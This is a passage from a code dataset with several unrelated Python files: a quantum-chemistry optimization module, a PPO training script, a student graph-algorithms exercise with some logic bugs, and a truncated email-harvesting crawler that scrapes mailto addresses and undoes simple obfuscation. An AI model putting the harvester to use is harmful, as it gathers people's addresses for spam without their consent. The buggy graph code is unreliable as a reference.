continue\n \n return numinline\n\n\ndef CheckIfPsi4Log(poltype,outputlog):\n check=False\n temp=open(outputlog,'r')\n results=temp.readlines()\n temp.close()\n for line in results:\n if 'Psi4' in line:\n check=True\n break \n return check \n\n\ndef GrabFinalXYZStructure(poltype,logname,filename,mol):\n checkifpsi4=CheckIfPsi4Log(poltype,logname)\n if checkifpsi4==True:\n temp=open(logname,'r')\n results=temp.readlines()\n temp.close()\n temp=open(filename,'w')\n temp.write(str(mol.NumAtoms())+'\\n')\n temp.write('\\n')\n finalmarker=False\n lengthchange=None\n lastsuccessidx=None\n for lineidx in range(len(results)):\n line=results[lineidx]\n if 'Successfully symmetrized geometry' in line:\n lastsuccessidx=lineidx\n if lastsuccessidx==None: # sometimes it doesnt print this but converges? \n lastsuccessidx=len(results)-1\n for lineidx in range(len(results)):\n line=results[lineidx]\n try:\n if lineidxlastidx: \n linesplit=line.split()\n if (len(linesplit)!=4 and len(linesplit)!=5) and lengthchange==False:\n lengthchange=True\n break\n foundfloat=bool(re.search(r'\\d', line))\n if (len(linesplit)==4 or len(linesplit)==5) and foundfloat==True and 'point' not in line:\n temp.write(' '.join(line.lstrip().split()[:3+1])+'\\n')\n lengthchange=False\n temp.close()\n elif checkifpsi4==False:\n obConversion = openbabel.OBConversion()\n tempmol = openbabel.OBMol()\n inFormat = obConversion.FormatFromExt(logname)\n obConversion.SetInFormat(inFormat)\n obConversion.ReadFile(tempmol, logname)\n obConversion.SetOutFormat('xyz')\n obConversion.WriteFile(tempmol, filename)\n\ndef gen_optcomfile(poltype,comfname,numproc,maxmem,maxdisk,chkname,molecule,modred=True,torsionrestraints=[]):\n \"\"\"\n Intent: Create *.com file for qm opt\n Input:\n comfname: com file name\n numproc: number of processors\n maxmem: max memory size\n chkname: chk file name\n mol: OBMol object\n Output:\n *opt-*.com is written\n Referenced By: run_gaussian\n Description: -\n \"\"\"\n restraintlist = []\n write_com_header(poltype,comfname,chkname,maxdisk,maxmem,numproc)\n tmpfh = open(comfname, \"a\")\n if len(torsionrestraints)==0:\n modred=False\n spacedformulastr=molecule.GetSpacedFormula()\n if modred==True:\n optimizeoptlist = [\"ModRedundant\",\"maxcycles=%s\"%(str(poltype.optmaxcycle)),'Loose']\n else:\n optimizeoptlist = [\"Cartesian\",\"maxcycles=%s\"%(str(poltype.optmaxcycle))]\n\n if restraintlist:\n optimizeoptlist.insert(0,poltype.gausoptcoords)\n optstr=gen_opt_str(poltype,optimizeoptlist)\n if ('I ' in spacedformulastr):\n prevoptbasisset=poltype.optbasisset\n poltype.optbasisset='gen'\n if poltype.freq==True:\n if poltype.optpcm==True:\n optstring= \"%s %s/%s freq SCRF=(PCM)\" % (optstr,poltype.optmethod,poltype.optbasisset)\n else:\n optstring= \"%s %s/%s freq\" % (optstr,poltype.optmethod,poltype.optbasisset)\n else:\n if poltype.optpcm==True:\n optstring= \"%s %s/%s SCRF=(PCM)\" % (optstr,poltype.optmethod,poltype.optbasisset)\n else:\n optstring= \"%s %s/%s\" % (optstr,poltype.optmethod,poltype.optbasisset)\n if ('I ' in spacedformulastr):\n optstring+=' pseudo=read'\n string=' MaxDisk=%s \\n'%(maxdisk)\n optstring+=string\n tmpfh.write(optstring)\n commentstr = poltype.molecprefix + \" Gaussian OPT Calculation on \" + gethostname()\n tmpfh.write('\\n%s\\n\\n' % commentstr)\n tmpfh.write('%d %d\\n' % (molecule.GetTotalCharge(), molecule.GetTotalSpinMultiplicity()))\n tmpfh.close()\n\n iteratombab = openbabel.OBMolAtomIter(molecule)\n tmpfh = open(comfname, \"a\")\n etab = openbabel.OBElementTable()\n for atm in iteratombab:\n tmpfh.write('%2s %11.6f %11.6f %11.6f\\n' % (etab.GetSymbol(atm.GetAtomicNum()), atm.x(), atm.y(), atm.z()))\n tmpfh.write('\\n')\n \n if ('I ' in spacedformulastr):\n formulalist=spacedformulastr.lstrip().rstrip().split()\n elementtobasissetlines=GenerateElementToBasisSetLines(poltype,poltype.basissetpath+poltype.optbasissetfile)\n for element,basissetlines in elementtobasissetlines.items():\n if element in spacedformulastr:\n for line in basissetlines: \n tmpfh.write(line)\n\n\n temp=open(poltype.basissetpath+poltype.iodineoptbasissetfile,'r')\n results=temp.readlines()\n temp.close()\n for line in results:\n if '!' not in line:\n tmpfh.write(line)\n\n\n \n tmpfh.write('\\n')\n tmpfh.write('\\n')\n tmpfh.close()\n if len(torsionrestraints)!=0:\n tempname=comfname.replace('.com','_temp.com')\n temp=open(comfname,'r')\n results=temp.readlines()\n temp.close()\n tmpfh = open(tempname, \"w\")\n foundatomblock=False\n writeres=False\n for k in range(len(results)):\n line=results[k]\n linesplit=line.split() \n if len(linesplit)==4 and foundatomblock==False and '#' not in line:\n foundatomblock=True\n if len(linesplit)!=4 and foundatomblock==True and writeres==False:\n writeres=True\n tmpfh.write('\\n')\n for res in torsionrestraints:\n rta,rtb,rtc,rtd=res[:]\n tmpfh.write('%d %d %d %d F\\n' % (rta,rtb,rtc,rtd))\n tmpfh.write(\"\\n\")\n else:\n tmpfh.write(line)\n\n tmpfh.close()\n os.remove(comfname)\n shutil.copy(tempname,comfname)\n\n\n\n\n\ndef GenerateElementToBasisSetLines(poltype,basissetfile):\n elementtobasissetlines={}\n temp=open(basissetfile,'r')\n results=temp.readlines()\n temp.close()\n lines=[]\n for lineidx in range(len(results)):\n line=results[lineidx]\n if lineidx==0: \n linesplit=line.split()\n element=linesplit[0]\n lines=[line]\n elementtobasissetlines[element]=lines\n elif lineidx>0 and '****' in results[lineidx-1]:\n linesplit=line.split()\n element=linesplit[0]\n lines=[line]\n elementtobasissetlines[element]=lines\n else:\n lines.append(line)\n elementtobasissetlines[element]=lines\n\n\n return elementtobasissetlines\n \n \n \ndef gen_opt_str(poltype,optimizeoptlist):\n optstr = \"#P opt\"\n if optimizeoptlist:\n optstr += \"=(\" + ','.join(optimizeoptlist) + \")\"\n return optstr\n\ndef write_com_header(poltype,comfname,chkfname,maxdisk,maxmem,numproc):\n \"\"\"\n Intent: Add header to *.com file\n Referenced By: gen_optcomfile\n \"\"\"\n tmpfh = open(comfname, \"w\")\n assert tmpfh, \"Cannot create file: \" + comfname+' '+os.getcwd()\n\n tmpfh.write('%RWF=' + poltype.scrtmpdirgau + '/,' + maxdisk + '\\n')\n tmpfh.write(\"%Nosave\\n\")\n tmpfh.write(\"%Chk=\" + os.path.splitext(comfname)[0] + \".chk\\n\")\n tmpfh.write(\"%Mem=\" + maxmem + \"\\n\")\n tmpfh.write(\"%Nproc=\" + str(numproc) + \"\\n\")\n tmpfh.close()\n\ndef AverageBondTableLength(poltype,elementsbondorder,ringbond,hybs):\n elementstobondordertolength={tuple([15,17,1]):2.043,tuple([15,8,1]):2.21,tuple([15,8,1]):1.65,tuple([1,1,1]):.74,tuple([9,9,1]):1.42,tuple([17,17,1]):1.99,tuple([35,35,1]):2.28,tuple([53,53,1]):2.67,tuple([1,6,1]):1.10,tuple([1,7,1]):1.00,tuple([1,8,1]):.97,tuple([1,9,1]):.92,tuple([6,6,1]):1.54,tuple([6,7,1]):1.47,tuple([6,8,1]):1.43,tuple([7,7,1]):1.45,tuple([8,8,1]):1.45,tuple([1,6,1]):1.10,tuple([6,6,2]):1.34,tuple([6,6,3]):1.20,tuple([6,7,2]):1.28,tuple([6,8,2]):1.20,tuple([6,8,3]):1.13,tuple([7,7,2]):1.23,tuple([7,7,3]):1.10,tuple([8,8,2]):1.21,tuple([1,9,1]):.92,tuple([1,17,1]):1.27,tuple([1,35,1]):1.41,tuple([1,53,1]):1.61,tuple([6,16,1]):1.82,tuple([1,6,1]):1.10,tuple([6,9,1]):1.35,tuple([6,17,1]):1.77,tuple([6,35,1]):1.94,tuple([6,53,1]):2.14}\n \n found=False\n length=None\n rev=tuple([elementsbondorder[1],elementsbondorder[0],elementsbondorder[2]])\n if elementsbondorder in elementstobondordertolength.keys():\n length=elementstobondordertolength[elementsbondorder]\n found=True\n elif rev in elementstobondordertolength.keys():\n length=elementstobondordertolength[rev]\n found=True\n if ringbond==True:\n if hybs[0]==2 and hybs[1]==2:\n if elementsbondorder[0]==6 and elementsbondorder[1]==6:\n length=1.41\n found=True\n else:\n found=False\n length=None\n\n\n if found==False:\n tol=.1 # extreme case if any missing above\n else:\n tol=.05 # test this may increase tolerance later\n return tol,length\n\n\ndef CompareBondLengths(poltype,inioptmol,optmol,outputlog):\n isnear=True\n for inib in openbabel.OBMolBondIter(inioptmol):\n beg = inib.GetBeginAtomIdx()\n end = inib.GetEndAtomIdx()\n b=optmol.GetBond(beg,end)\n if b==None:\n isnear=False\n break\n ringbond=inib.IsInRing()\n idxs=[beg,end]\n atoms=[inioptmol.GetAtom(i) for i in idxs]\n hybs=[a.GetHyb() for a in atoms]\n begatom=optmol.GetAtom(beg)\n endatom=optmol.GetAtom(end)\n begatomicnum=begatom.GetAtomicNum()\n endatomicnum=endatom.GetAtomicNum()\n bondorder=b.GetBondOrder()\n elementsbondorder=tuple([begatomicnum,endatomicnum,bondorder])\n tol,length=AverageBondTableLength(poltype,elementsbondorder,ringbond,hybs)\n blength=b.GetLength()\n iniblength=b.GetLength()\n if length!=None:\n diff=np.abs(length-blength)\n else:\n diff=np.abs(iniblength-blength)\n\n if diff>=tol:\n string='Bond lengths changed too much for '+str(beg)+' '+str(end)+' difference is '+str(diff)+\" tolerance is \"+str(tol)+' current bond length is '+str(blength)+' initial bond length is '+str(iniblength)+' internal table bond length is '+str(length)+'. Will try to redo QM opt for '+str(outputlog)\n poltype.WriteToLog(string)\n warnings.warn(string) \n isnear=False\n return isnear\n\n\n\ndef gen_superposeinfile(poltype):\n \"\"\"\n Intent: Initialize superpose input file (for tinker's superpose) \n \"\"\"\n poltype.WriteToLog(\"\\n\")\n poltype.WriteToLog(\"=========================================================\\n\")\n poltype.WriteToLog(\"Structure RMSD Comparison\\n\\n\")\n cmd = poltype.superposeexe + ' ' + poltype.xyzoutfile + ' ' + poltype.tmpxyzfile + '_2'+' 1 N M N 0 > '+ poltype.superposeinfile\n poltype.call_subsystem([cmd],wait=True)\n\n\ndef CheckRMSD(poltype):\n RMSD=None\n for line in open(poltype.superposeinfile,'r'):\n if 'Root Mean' in line:\n RMSD=''\n for e in line:\n if e.isdigit() or e=='.':\n RMSD+=e\n if RMSD!=None: \n if float(RMSD)>poltype.maxRMSD:\n poltype.WriteToLog('Warning: RMSD of QM and MM optimized structures is high, RMSD = '+ RMSD+' Tolerance is '+str(poltype.maxRMSD))\n\n raise ValueError(os.getcwd()+' '+'RMSD of QM and MM optimized structures is high, RMSD = '+str(RMSD))\n else:\n poltype.WriteToLog('RMSD = '+ RMSD+' Tolerance is '+str(poltype.maxRMSD))\n\ndef StructureMinimization(poltype,torsionrestraints):\n poltype.WriteToLog(\"\")\n poltype.WriteToLog(\"=========================================================\")\n poltype.WriteToLog(\"Minimizing structure\\n\")\n AddTorsionRestraints(poltype,poltype.key5fname,torsionrestraints)\n shutil.copy(poltype.xyzoutfile,poltype.tmpxyzfile)\n shutil.copy(poltype.key5fname,poltype.tmpkeyfile)\n cmd = poltype.minimizeexe+' -k '+poltype.tmpkeyfile+' '+poltype.tmpxyzfile+' 0.1 > Minimized_final.out'\n poltype.call_subsystem([cmd], True)\n\n torgen.RemoveStringFromKeyfile(poltype,poltype.key5fname,'restrain-torsion')\n torgen.RemoveStringFromKeyfile(poltype,poltype.tmpkeyfile,'restrain-torsion')\n\n\ndef AddTorsionRestraints(poltype,keyname,torsionrestraints):\n tmpfh=open(keyname,'a')\n for res in torsionrestraints:\n a,b,c,d=res[:]\n tmpfh.write('restrain-torsion %d %d %d %d %f\\n' % (a,b,c,d,poltype.torsionrestraint))\n tmpfh.close()\n\ndef FindTorsionRestraints(poltype,mol):\n torsionrestraints=[]\n atomiter=openbabel.OBMolAtomIter(mol)\n atomnum=0\n for atom in atomiter:\n atomnum+=1\n bondnum=0\n for b in openbabel.OBMolBondIter(mol):\n t2 = b.GetBeginAtom()\n t3 = b.GetEndAtom()\n t2val=t2.GetValence()\n t3val=t3.GetValence()\n if t2val<2 or t3val<2:\n continue \n ringbond=b.IsInRing()\n if ringbond==True:\n continue\n ls=[t2.GetIdx(),t3.GetIdx()]\n if ls in poltype.partialdoublebonds or ls[::-1] in poltype.partialdoublebonds:\n continue\n bondnum+=1\n \n\n if atomnum>=25 or bondnum>=2:\n for b in openbabel.OBMolBondIter(mol):\n isrot=b.IsRotor()\n t2 = b.GetBeginAtom()\n t3 = b.GetEndAtom()\n t2val=t2.GetValence()\n t3val=t3.GetValence()\n if t2val<2 or t3val<2:\n continue \n ringbond=b.IsInRing()\n if ringbond==True:\n continue\n t2idx=t2.GetIdx()\n t3idx=t3.GetIdx()\n t2 = b.GetBeginAtom()\n t3 = b.GetEndAtom()\n t1,t4 = torgen.find_tor_restraint_idx(poltype,mol,t2,t3)\n\n firstangle=mol.GetAngle(t1,t2,t3)\n secondangle=mol.GetAngle(t2,t3,t4)\n atoms=[t1,t2,t3,t4]\n indices=[i.GetIdx() for i in atoms]\n if firstangle<0:\n firstangle=firstangle+360\n if secondangle<0:\n secondangle=secondangle+360\n angletol=2\n if np.abs(180-firstangle)<=3.5 or np.abs(180-secondangle)<=3.5:\n continue\n\n t2idx=t2.GetIdx()\n t3idx=t3.GetIdx()\n babelfirst=[t2idx,t3idx]\n if (babelfirst in poltype.partialdoublebonds or babelfirst[::-1] in poltype.partialdoublebonds):\n continue\n t1idx=t1.GetIdx()\n t4idx=t4.GetIdx()\n torsionrestraints.append([t1idx,t2idx,t3idx,t4idx])\n\n\n return torsionrestraints\n\ndef GeometryOptimization(poltype,mol,loose=False,checkbonds=True,modred=True,bondanglerestraints=None,skipscferror=False,charge=None,skiperrors=False,overridecheckterm=False): # specify charge instead of reading from mol if charge!=None\n if bondanglerestraints!=None: # then vdw opt\n pass\n torsionrestraints=[]\n else: # see if need to restrain torsion in extended conformation\n torsionrestraints=FindTorsionRestraints(poltype,mol)\n if (poltype.use_gaus==True or poltype.use_gausoptonly==True): # try to use gaussian for opt\n term,error=poltype.CheckNormalTermination(poltype.logoptfname,errormessages=None,skiperrors=True)\n if not term or overridecheckterm==True:\n \n poltype.WriteToLog(\"NEED QM Density Matrix: Executing Gaussian Opt and SP\")\n mystruct = load_structfile(poltype,poltype.molstructfname)\n gen_optcomfile(poltype,poltype.comoptfname,poltype.numproc,poltype.maxmem,poltype.maxdisk,poltype.chkoptfname,mol,modred,torsionrestraints)\n cmdstr = 'GAUSS_SCRDIR=' + poltype.scrtmpdirgau + ' ' + poltype.gausexe + \" \" + poltype.comoptfname\n jobtooutputlog={cmdstr:os.getcwd()+r'/'+poltype.logoptfname}\n jobtolog={cmdstr:os.getcwd()+r'/'+poltype.logfname}\n scratchdir=poltype.scrtmpdirgau\n jobtologlistfilepathprefix=os.getcwd()+r'/'+'optimization_jobtolog_'+poltype.molecprefix \n inputfilepath=os.path.join(os.getcwd(),poltype.comoptfname)\n jobtoinputfilepaths={cmdstr:[inputfilepath]}\n jobtooutputfiles={cmdstr:[poltype.logoptfname]}\n jobtoabsolutebinpath={cmdstr:poltype.which(poltype.gausexe)}\n if poltype.checkinputonly==True:\n sys.exit()\n if os.path.isfile(poltype.chkoptfname) and os.path.isfile(poltype.logoptfname):\n os.remove(poltype.logoptfname) # if chk point exists just remove logfile, there could be error in it and we dont want WaitForTermination to catch error before job is resubmitted by daemon \n if poltype.externalapi==None:\n finishedjobs,errorjobs=poltype.CallJobsSeriallyLocalHost(jobtooutputlog,True) # have to skip errors because setting optmaxcycle to low number in gaussian causes it to crash\n else:\n if len(jobtooutputlog.keys())!=0:\n call.CallExternalAPI(poltype,jobtoinputfilepaths,jobtooutputfiles,jobtoabsolutebinpath,scratchdir,jobtologlistfilepathprefix)\n finishedjobs,errorjobs=poltype.WaitForTermination(jobtooutputlog,False)\n\n cmdstr = poltype.formchkexe + \" \" + poltype.chkoptfname\n poltype.call_subsystem([cmdstr],True)\n term,error=poltype.CheckNormalTermination(poltype.logoptfname,errormessages=None,skiperrors=True)\n if error and term==False and skiperrors==False:\n if poltype.fullopt==True:\n poltype.RaiseOutputFileError(poltype.logoptfname) \n optmol = load_structfile(poltype,poltype.logoptfname)\n optmol=rebuild_bonds(poltype,optmol,mol)\n \n \n else:\n\n gen_optcomfile(poltype,poltype.comoptfname,poltype.numproc,poltype.maxmem,poltype.maxdisk,poltype.chkoptfname,mol,modred,torsionrestraints)\n term,error=poltype.CheckNormalTermination(poltype.logoptfname,errormessages=None,skiperrors=True)\n modred=False\n\n inputname,outputname=CreatePsi4OPTInputFile(poltype,poltype.comoptfname,poltype.comoptfname,mol,modred,bondanglerestraints,skipscferror,charge,loose,torsionrestraints)\n if term==False or overridecheckterm==True:\n \n poltype.WriteToLog(\"Calling: \" + \"Psi4 Optimization\")\n cmdstr='psi4 '+inputname+' '+poltype.logoptfname\n jobtooutputlog={cmdstr:os.getcwd()+r'/'+poltype.logoptfname}\n jobtolog={cmdstr:os.getcwd()+r'/'+poltype.logfname}\n scratchdir=poltype.scrtmpdirpsi4\n jobtologlistfilepathprefix=os.getcwd()+r'/'+'optimization_jobtolog_'+poltype.molecprefix\n inputfilepath=os.path.join(os.getcwd(),inputname)\n jobtoinputfilepaths={cmdstr:[inputfilepath]}\n jobtooutputfiles={cmdstr:[poltype.logoptfname]}\n jobtoabsolutebinpath={cmdstr:poltype.which('psi4')}\n\n if poltype.checkinputonly==True:\n sys.exit()\n\n\n if os.path.isfile(poltype.logoptfname):\n os.remove(poltype.logoptfname)\n if poltype.externalapi==None:\n finishedjobs,errorjobs=poltype.CallJobsSeriallyLocalHost(jobtooutputlog,skiperrors)\n else:\n if len(jobtooutputlog.keys())!=0:\n call.CallExternalAPI(poltype,jobtoinputfilepaths,jobtooutputfiles,jobtoabsolutebinpath,scratchdir,jobtologlistfilepathprefix)\n finishedjobs,errorjobs=poltype.WaitForTermination(jobtooutputlog,False)\n\n term,error=poltype.CheckNormalTermination(poltype.logoptfname,None,skiperrors) # now grabs final structure when finished with QM if using Psi4\n if error and term==False and skiperrors==False:\n if poltype.fullopt==True: # if not doing full opt, assume it did input number of cycles and check if structure is reasonable, otherwise if doing full optcheck if error and crash\n poltype.RaiseOutputFileError(poltype.logoptfname) \n GrabFinalXYZStructure(poltype,poltype.logoptfname,poltype.logoptfname.replace('.log','.xyz'),mol)\n optmol = load_structfile(poltype,poltype.logoptfname.replace('.log','.xyz'))\n optmol=rebuild_bonds(poltype,optmol,mol)\n\n GrabFinalXYZStructure(poltype,poltype.logoptfname,poltype.logoptfname.replace('.log','.xyz'),mol)\n return optmol,error,torsionrestraints\n\n\ndef load_structfile(poltype,structfname):\n \"\"\"\n Intent: load 'structfname' as an OBMol structure\n Input:\n structfname: structure file name\n Output:\n tmpmol: OBMol object with information loaded from structfname\n Referenced By: run_gaussian, tor_opt_sp, compute_qm_tor_energy, compute_mm_tor_energy \n Description: -\n \"\"\"\n strctext = os.path.splitext(structfname)[1]\n tmpconv = openbabel.OBConversion()\n if strctext in '.fchk':\n tmpconv.SetInFormat('fchk')\n elif strctext in '.log':\n tmpconv.SetInFormat('g03')\n else:\n inFormat = openbabel.OBConversion.FormatFromExt(structfname)\n tmpconv.SetInFormat(inFormat)\n tmpmol = openbabel.OBMol()\n tmpconv.ReadFile(tmpmol, structfname)\n return tmpmol\n\ndef rebuild_bonds(poltype,newmol, refmol):\n\n for b in openbabel.OBMolBondIter(refmol):\n beg = b.GetBeginAtomIdx()\n end = b.GetEndAtomIdx()\n if not newmol.GetBond(beg,end):\n newmol.AddBond(beg,end, b.GetBO(), b.GetFlags())\n else:\n newb=newmol.GetBond(beg,end)\n bondorder=newb.GetBondOrder()\n newb.SetBondOrder(b.GetBO())\n\n return newmol\n\n\ndef PruneBonds(poltype,mol,bondtopology):\n molindexlist=[]\n atomitermol=openbabel.OBMolAtomIter(mol)\n for atom in atomitermol:\n molindexlist.append(atom.GetIdx())\n molidxtonewmolidx={}\n newmol=openbabel.OBMol() # define new OBMol object for the fragment\n atomlist=[] # list of atom objects from mol object\n newatomlist=[] # list of blank atom objects for fragment mol object\n count=1\n for index in molindexlist: # iterate over indexes in torsion\n atom=mol.GetAtom(index) # grab the atom object via index number\n molidx=atom.GetIdx()\n atomlist.append(atom) # append the atom object to list\n newatom=newmol.NewAtom()\n newatom=newatom.Duplicate(atom)\n newatomlist.append(newatom) # just put into blank atom objects\n molidxtonewmolidx[molidx]=count\n count+=1\n\n bondorderidxdic={} # key=(atom index1 of bond,atom index2 of bond), value=bondorder\n iterbond = openbabel.OBMolBondIter(mol) # iterator for all bond objects in the molecule\n for bond in iterbond:\n a = bond.GetBeginAtom()\n b = bond.GetEndAtom()\n aidx=a.GetIdx()\n bidx=b.GetIdx()\n if aidx in molindexlist and bidx in molindexlist: # check to make sure we want these atoms\n newaidx=molindexlist.index(aidx)+1 # new atom indexes are always in the order of atoms added to molecule via newatomlist above, +1 is because python starts at 0, atom indexes start at 1\n newbidx=molindexlist.index(bidx)+1\n bondorder=bond.GetBondOrder()\n bondorderidxdic[(newaidx,newbidx)]=bondorder\n\n else:\n continue\n\n for key in bondorderidxdic: # add back the bond between atoms in original mol object to the fragment mol object\n key=list(key)\n newaidx=key[0]\n newbidx=key[1]\n bondorder=bondorderidxdic[(newaidx,newbidx)]\n bondset=set([newaidx,newbidx])\n if bondset in bondtopology:\n newmol.AddBond(newaidx,newbidx,bondorder)\n\n return newmol\n","sub_path":"PoltypeModules/optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":31815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"218862496","text":"import os, sys\nlib_path = os.path.abspath(os.path.join('../..'))\nsys.path.append(lib_path)\n\n\nimport gym\nfrom baselines.ppo2.ppo2 import learn\n\ndef main():\n env = gym.make(\"HopperPyBulletEnv-v0\")\n env.render()\n learn(network = 'mlp',\n env = env,\n total_timesteps = 1e6)\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"baselines/ppo2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"643108789","text":"# Q1\ndef has_cycle_rec(v, E, visited_dic):\n visited_dic[v] = True\n\n for e in E:\n if e[0] == v:\n if visited_dic[e[1]] == False:\n if(has_cycle_rec(e[1], E, visited_dic)):\n return True\n else:\n return True\n\n return False\n\n\ndef IS_DAG(V, E):\n visited_dic = {}\n\n for v in V:\n for v in V:\n visited_dic[v] = False\n if visited_dic[v] == False: # Don't recur for u if it is already visited\n if(has_cycle_rec(v, E, visited_dic)) == True:\n return False\n\n return True\n\n# Q2\n\n\ndef is_sink(v, E, ignore_lst):\n for e in E:\n if e[0] == v and e not in ignore_lst:\n return False\n return True\n\n\ndef delete_vertex(v, e_lst, v_lst, ignore_lst):\n for e in e_lst:\n if v == e[1] and e not in ignore_lst:\n ignore_lst.append(e)\n v_lst.remove(v)\n\n\ndef t_sort_rec(v_lst, e_lst, lst, ignore_lst):\n if len(v_lst) == 0:\n return\n else:\n for v in v_lst:\n if is_sink(v, e_lst, ignore_lst):\n lst.append(v)\n delete_vertex(v, e_lst, v_lst, ignore_lst)\n break\n t_sort_rec(v_lst, e_lst, lst, ignore_lst)\n\n\ndef T_SORT(V, E):\n if not IS_DAG(V, E):\n return -1\n else:\n lst = []\n e_lst = list(E)\n v_lst = list(V)\n t_sort_rec(v_lst, e_lst, lst, [])\n return lst[::-1]\n\n# Q3\n\n\ndef find_nieghbours(v, e_lst):\n lst = []\n for e in e_lst:\n if e[1] == v:\n lst.append(e[0])\n return lst\n\n\ndef long_path_helper(v_lst, e_lst, ts_dic, degree_dic):\n for v in v_lst:\n neighbours_lst = find_nieghbours(v, e_lst)\n neighbours_degree_lst = []\n for n in neighbours_lst:\n neighbours_degree_lst.append(ts_dic[n])\n degree_dic[v] = 1 + max(neighbours_degree_lst, default=0)\n\n\ndef Max_Delay(V, E):\n if not IS_DAG(V, E):\n return -1\n else:\n TS = T_SORT(V, E)\n ts_dic = {}\n for i in range(len(TS)-1):\n ts_dic[TS[i]] = i\n degree_dic = {}\n long_path_helper(list(V), list(E), ts_dic, degree_dic)\n key_max = max(degree_dic.keys(), key=(lambda k: degree_dic[k]))\n key_min = min(degree_dic.keys(), key=(lambda k: degree_dic[k]))\n return(key_min, key_max)\n\n# Q4\n\n\nV = {'a', 'b', 'f', 'p', 'q'}\nE = {('a', 'b'), ('f', 'b'), ('p', 'b'), ('b', 'q')}\n\nprint(Max_Delay(V, E))\n","sub_path":"Project A.py","file_name":"Project A.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"373357401","text":"import re\ndef main():\n file = open(\"attractor_231.txt\").read().split('\\n')\n nodes = open(\"rons_8\").read().split('\\n')\n\n for node in nodes:\n for line in file:\n row = line.split(' ')\n if row[0] == node:\n print(row[1])\n\nmain()\n","sub_path":"_site/_projects/project2/OLD/NetworkAnalysis 1/SFA/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"558886760","text":"#!/usr/bin/env python\n#\n# requires python version 3 or greater.\n#\n# @copyright 2016 Nicholas Hinsch, based on work by Arun-UB https://github.com/Arun-UB\n#\n# @license MIT\n#\n# This script supports extracting multiple email addresses in mailto links from multiple webpages on any number of supplied domains.\n# The page crawler is somewhat intelligent (it will skip assets like images, videos and documents as well as skipping offsite links.\n# It also normalizes links that don't have the FQDN in the href.\n#\n# This doesn't parse javascript, so obfuscated emails are not detected. If I get any more spare time, I will see about adding that support.\n# You can also set a crawl rate (delay) and maximum number of pages.\n#\n# Duplicate emails per domain are also stripped out. You're welcome :p\n# sample use:\n# python3 find_email_addresses.py --domains www.rapidtables.com/web/html/mailto.htm https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Email_links --delay 1 --maxpages 2 --outfile emails.txt\n#\n# Crawling www.rapidtables.com for email addresses.\n# - Found email addresses:\n# -- name1@rapidtables.com\n# -- name2@rapidtables.com\n# -- name@rapidtables.com\n# -- name3@rapidtables.com\n#\n# Crawling developer.mozilla.org for email addresses.\n# - Found email addresses:\n# -- nowhere@mozilla.org\n# -- nobody@mozilla.org\n#\n# If you run into problems, enable debug mode by supplying --verbose on the command line\n#\n\nfrom bs4 import BeautifulSoup\nimport html\nimport urllib\nimport argparse\nimport re\nimport queue\nimport time\nimport random\n\nclass Crawler(object):\n def __init__(self, url, delay, maxpages, outfile, verbose):\n\n self.delay = delay\n self.maxpages = maxpages\n self.verbose = verbose\n self.outfile = outfile\n\n # normalize the supplied url protocol\n if not re.match('https?://|www\\\\\\.', url):\n url = 'http://' + url\n\n # Strip off query string params on url\n self.url = urllib.parse.urljoin(url, urllib.parse.urlparse(url).path)\n\n # extract the domain name from the url\n self.domainName = urllib.parse.urlparse(url).netloc\n\n self.emails = []\n\n def get_emails(self):\n\n addresses = list(set(self.emails))\n\n if self.outfile:\n with open(self.outfile, \"a\") as text_file:\n for i in addresses:\n print(i, file=text_file)\n\n return addresses\n\n def extract_emails(self, page):\n for link in page.select('a[href^=mailto]'):\n\n # split apart multi-recipient mailto links\n emailaddresses = link.get('href')[7:].split(',')\n\n for addy in emailaddresses:\n #extract recipients, cc's and bcc's\n\n all_recipients = []\n\n # defeat some basic obfuscation techniques (html entities, urlencode)\n if '?' not in addy:\n if '#&' or '%' in addy:\n # obfuscated email address\n deobfus = html.unescape(addy)\n if '@' in deobfus:\n all_recipients.append(deobfus)\n\n elif '?' in addy:\n # multiple email addresses in this mailto\n pattern = re.compile(\"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+\")\n all_recipients = pattern.findall(addy)\n\n else:\n # just a standard email address, plain and simple\n all_recipients.append(addy)\n\n for i in all_recipients:\n self.emails.append(i)\n\n\n def get_links(self, page):\n links = []\n\n for link in page.find_all('a'):\n if link.get('href') is None:\n self.debug('skipping homepage link!')\n\n elif link.get('href').startswith('#'):\n self.debug('skipping anchor!')\n\n elif link.get('href').startswith('//'):\n self.debug('skipping external or protocol relative link!')\n\n elif link.get('href').startswith('/'):\n link = urllib.parse.urljoin(self.url, link.get('href'))\n links.append(link)\n\n elif self.domainName not in link.get('href'):\n self.debug('skipping external link!')\n\n else:\n link = urllib.parse.urljoin(self.url, link.get('href'))\n links.append(link)\n\n self.debug('found the following url links:')\n self.debug(links)\n\n return list(links)\n\n def crawl(self):\n pagecount = 0\n excludedExtensions = (\n '.jpg', '.jpeg', '.png', '.gif',\n '.tif', '.doc', '.docx', '.xls',\n '.xlsx', '.pdf', '.log', '.msg',\n '.odt', '.pages', '.rtf', '.tex',\n '.wpd', '.wps', '.csv', '.ppt',\n '.pptx', '.zip', '.tar', '.xml',\n '.bz', '.tgz', '.tar.gz', '.vcf',\n '.aif', '.m3u', '.m4a', '.mid',\n '.mp3', '.mpa', '.wav', '.wma',\n '.avi', '.flv', '.mpg', '.mov',\n '.m4v', '.mp4', '.rm', '.swf',\n '.wmv', '.obs', '.3dm', '.3ds',\n '.max', '.bmp', '.psd', '.ai',\n '.tiff', '.eps', '.ps', '.svg',\n '.indd', '.pct', '.xlr', '.db',\n '.sql', '.dbf', '.pdb', '.app',\n '.bat', '.jar', '.wsf', '.rom',\n '.sav', '.dwg', '.dxf', '.kmz',\n '.ini', '.cfg', '.7z', '.cbr',\n '.rar', '.pkg', '.sitx', '.zipx',\n '.bin', '.cue', '.dmg', '.iso',\n '.mdf', '.toast', '.vcd', '.c',\n '.py', 